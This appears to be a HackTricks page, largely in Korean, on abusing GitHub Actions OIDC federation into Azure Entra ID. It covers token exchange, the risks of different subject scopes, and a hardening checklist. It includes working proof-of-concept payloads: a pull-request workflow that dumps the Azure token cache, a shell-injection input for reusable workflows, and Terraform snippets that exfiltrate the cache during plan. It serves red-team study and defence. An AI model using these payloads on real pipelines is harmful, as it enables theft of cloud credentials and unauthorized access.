Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Reading time: 8 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

GitHub Actions는 OpenID Connect (OIDC)를 사용해 Azure Entra ID (formerly Azure AD)에 페더레이션할 수 있습니다. GitHub workflow는 실행에 대한 세부 정보를 인코딩한 단기 유효 GitHub ID token (JWT)을 요청합니다. Azure는 이 토큰을 App Registration (service principal)에 있는 Federated Identity Credential (FIC)에 대해 검증하고, 이를 Azure access tokens (MSAL cache, bearer tokens for Azure APIs)로 교환합니다.

Azure는 최소한 다음을 검증합니다:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
  • sub: configured FIC Subject identifier와 일치해야 함

The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.

GitHub ID token 빠른 PoC

yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

토큰 요청에서 Azure audience를 강제하려면:

bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure setup (Workload Identity Federation)

  1. App Registration (service principal)을 생성하고 최소 권한을 부여합니다(예: 특정 storage account에 대해 Storage Blob Data Contributor).

  2. Federated identity credentials를 추가:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: 의도된 workflow/run 컨텍스트에 엄격하게 범위를 제한합니다(아래의 범위 지정 및 위험 참조).
  1. azure/login을 사용해 GitHub ID 토큰을 교환하고 Azure CLI에 로그인합니다:
yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

수동 교환 예시 (Graph 범위 표시; ARM 또는 다른 리소스도 마찬가지):

http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) 구조 및 사용자 지정

Default sub format: repo:/:

Context 값에는 다음이 포함됩니다:

  • environment:
  • pull_request (PR은 environment가 아닐 때 트리거됩니다)
  • ref:refs/(heads|tags)/

페이로드에 자주 포함되는 유용한 claims:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

추가 claims를 포함하고 충돌 위험을 줄이기 위해 GitHub API를 통해 sub 구성 방식을 사용자 지정하세요:

bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

참고: 환경 이름의 콜론은 URL‑인코딩(%3A)되어 있어 이전의 delimiter-injection 기법에 의한 sub 파싱 공격을 제거합니다. 그러나 environment:처럼 고유하지 않은 subject를 사용하는 것은 여전히 안전하지 않습니다.

FIC subject 유형의 범위 및 위험

  • 브랜치/태그: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • 위험: 브랜치/태그가 보호되어 있지 않다면 어떤 contributor라도 push하여 토큰을 획득할 수 있습니다.
  • 환경: sub=repo:/:environment:
  • 위험: 보호되지 않은 environment(검토자 없음)는 기여자가 토큰을 발급할 수 있도록 허용합니다.
  • Pull request: sub=repo:/:pull_request
  • 최고 위험: 어떤 collaborator도 PR을 열어 FIC를 충족시킬 수 있습니다.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

관련 파일 위치 및 참고 사항:

  • Linux/macOS: ~/.azure/msal_token_cache.json에는 az CLI 세션용 MSAL 토큰이 저장됩니다
  • Windows: 사용자 프로필의 msal_token_cache.bin; DPAPI로 보호됨

재사용 가능한 워크플로와 job_workflow_ref 범위 지정

재사용 가능한 워크플로를 호출하면 GitHub ID 토큰에 job_workflow_ref가 추가됩니다. 예:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

FIC 예: 호출자 저장소(caller repo)와 재사용 가능한 워크플로(reusable workflow)를 모두 바인딩하기:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

caller repo에서 claims를 구성하여 repo와 job_workflow_ref가 sub에 모두 포함되도록 하세요:

http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

경고: FIC에서 job_workflow_ref만 바인딩하면, 공격자는 동일한 org 내에 다른 repo를 생성하고 동일한 reusable workflow를 같은 ref에서 실행하여 FIC를 충족시키고 tokens를 발급(mint)할 수 있습니다. 항상 caller repo도 포함하세요.

job_workflow_ref 보호를 우회하는 코드 실행 벡터

적절하게 범위가 지정된 job_workflow_ref가 있어도, 안전하게 인용되지 않은 상태로 shell에 전달되는 모든 caller‑controlled 데이터는 보호된 workflow 컨텍스트 내부에서 코드 실행으로 이어질 수 있습니다.

Example vulnerable reusable step (unquoted interpolation):

yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

명령을 실행하고 Azure 토큰 캐시를 유출하기 위한 악의적인 호출자 입력:

yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan을 PR에서 실행 원시(primitive) 동작으로 취급

terraform plan을 코드 실행으로 취급하세요.
plan 중에 Terraform은 다음을 수행할 수 있습니다:

  • file() 같은 함수로 임의의 파일을 읽을 수 있습니다.
  • external data source를 통해 명령을 실행할 수 있습니다.

plan 중에 Azure token cache를 exfiltrate하는 예:

hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

또는 external을 사용해 임의의 명령을 실행하세요:

hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

Hardening checklist

  • 민감한 FICs에는 sub=...:pull_request를 절대 사용하지 마세요
  • FICs가 참조하는 모든 branch/tag/environment를 보호하세요 (branch protection, environment reviewers)
  • 재사용 가능한 workflows에 대해서는 repo와 job_workflow_ref 모두에 범위가 지정된 FICs를 권장합니다
  • GitHub OIDC sub를 사용자화하여 고유한 claims(예: repo, job_workflow_ref, repository_owner)을 포함시키세요
  • run 단계에 호출자 입력을 인용 없이 보간하는 것을 제거하세요; 안전하게 인코드/인용하세요
  • terraform plan을 코드 실행으로 간주하고 PR 컨텍스트에서는 신원을 제한하거나 격리하세요
  • App Registrations에 최소 권한을 적용하고 plan과 apply에 대해 신원을 분리하세요
  • actions와 재사용 가능한 workflows를 commit SHAs에 고정(pin)하세요 (branch/tag 핀은 피하세요)

Manual testing tips

  • 워크플로우에서 GitHub ID token을 요청하고 마스킹을 피하기 위해 base64로 출력하세요
  • JWT를 디코드하여 다음 claims를 확인하세요: iss, aud, sub, job_workflow_ref, repository, ref
  • 수동으로 ID token을 login.microsoftonline.com에 교환하여 FIC 매칭 및 scopes를 확인하세요
  • azure/login 후에 ~/.azure/msal_token_cache.json을 읽어 토큰 자료가 존재하는지 확인하세요

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기